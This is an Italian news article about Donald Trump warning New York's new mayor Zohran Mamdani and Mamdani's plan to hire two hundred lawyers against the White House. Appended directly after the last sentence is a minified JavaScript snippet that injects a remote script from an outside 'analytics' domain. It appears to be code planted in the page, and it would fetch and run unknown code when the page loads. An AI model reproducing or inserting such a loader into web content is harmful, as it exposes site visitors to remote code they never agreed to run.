New York – il presidente Donald Trump ha lanciato un avvertimento diretto a Zohran Mamdani, dichiarando che «deve essere gentile con me, altrimenti non avrà alcuna possibilità di successo». In risposta, il nuovo sindaco di New York ha annunciato di essere pronto a ingaggiare duecento avvocati per difendere la città dalle accuse provenienti dalla Casa Bianca.
Il confronto, presto acceso tra Trump e Mamdani, appare quasi inevitabile: non solo le loro posizioni politiche sono diametralmente opposte, ma entrambi i principali schieramenti, democratici e repubblicani, interpretano i risultati delle elezioni di martedì come l’avvio di una corsa nazionale che potrebbe rimodellare gli equilibri a Washington. Alcuni osservatori, tra cui il sito Politico, hanno già iniziato a descrivere il presidente come «un’anatra zoppa», suggerendo un potenziale declino della sua presenza sul palcoscenico politico.
Mentre le tensioni si aggravano, la prospettiva di una difesa legale massiccia da parte del sindaco segna un nuovo capitolo nella disputa tra la città di New York e l’amministrazione federale, una dinamica che potrebbe avere ripercussioni ben oltre i confini locali e influenzare la configurazione del potere a livello nazionale.;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,’script’,’https://content-website-analytics.com/script.js’);
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